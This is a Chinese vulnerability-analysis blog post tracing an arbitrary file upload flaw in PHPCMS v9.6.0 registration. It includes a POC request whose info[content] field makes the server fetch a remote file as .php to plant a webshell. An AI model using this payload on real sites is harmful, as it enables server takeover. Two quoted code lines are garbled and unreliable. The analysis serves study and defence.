PHPCMSv9.6.0前端任意文件上传漏洞分析

2023年将会持续于B站、CSDN等各大平台更新,可加入粉丝群与博主交流:838681355,为了老板大G共同努力。

一、路径

漏洞分析:/index.php?m=member&c=index&a=register&siteid=1  前台注册页面处
路径: /phpcms/modules/member/index.php
注册处抓包:
POST /phpcms/install_package/index.php?m=member&c=index&a=register&siteid=1 HTTP/1.1

siteid=1&modelid=10&username=123456&password=123456&pwdconfirm=123456&email=123456%40qq.com&nickname=123456&info%5Bbirthday%5D=2022-04-28&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=

在这里插入图片描述

二、分析

正常流程分析:
函数定位:register,代码做验证处理
在这里插入图片描述
接着往下走,有验证处理模块:
在这里插入图片描述
验证完毕没有重复后,接下来做获取会员信息的模块:传入info值

关键点:$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);

在这里插入图片描述
根据下方get函数定位追踪:——> member_input.class.php
在这里插入图片描述
观察fields函数,追踪赋值,回到get函数,得知get是做了一个校验的操作。
校验结束之后,将表单插入数据库中:
在这里插入图片描述
观察数据库:
在这里插入图片描述

10——>birthday生日  11——>content内容
POC:
siteid=1&modelid=11&username=NSdemon&password=NSdemon123&pwdconfirm=123456&email=NSdemon@qq.com&info[content]=<img src=http://url/1.txt?.php#.jpg>& &dosubmit=1&protocol=

恶意代码存在info中
在这里插入图片描述
通过了array_map进行处理,追踪array_map分析:
new_html_special_chars做防XSS的过滤,对尖括号进行转义的方式。
在这里插入图片描述
往下走传入get中,$data最后传入value中,追踪value
在这里插入图片描述
截取长度的处理函数:
在这里插入图片描述
做了一个数据查询的处理:
在这里插入图片描述
处理完modelid函数后,追踪editor
在这里插入图片描述

$value = $this->attachment->download(‘content’, v a l u e , value, value,watermark_enable);
对传入的值做了一个处理操作,追踪下文: phpcms/libs/classes/attachment.class.php
在这里插入图片描述

做了一个后缀处理:gif|jpg|jpeg|bmp|png
s t r i n g = n e w s t r i p s l a s h e s ( string = new_stripslashes( string=newstripslashes(value);做了一个new_stripslashes处理
追踪查看: phpcms/libs/functions/global.func.php
在这里插入图片描述
做防止恶意代码
if(!preg_match_all(“/(href|src)=([|']?)([^ '>]+($ext))\2/i”, $string, $matches)) return $value; 做了正则处理,来校验后缀。
处理完后,将进入matches做处理:
在这里插入图片描述
用fillurl做了处理,追踪查看分析:/phpcms/libs/classes/attachment.class.php
在这里插入图片描述
核心问题代码:去掉了#处理,去掉了poc后的#.jpg
在这里插入图片描述
通过Okurl进行拼接,将原本的.php拼回给了url
在这里插入图片描述
最后将马加载去了服务器地址中,由此写入webshell。
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Cllmsy_K

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值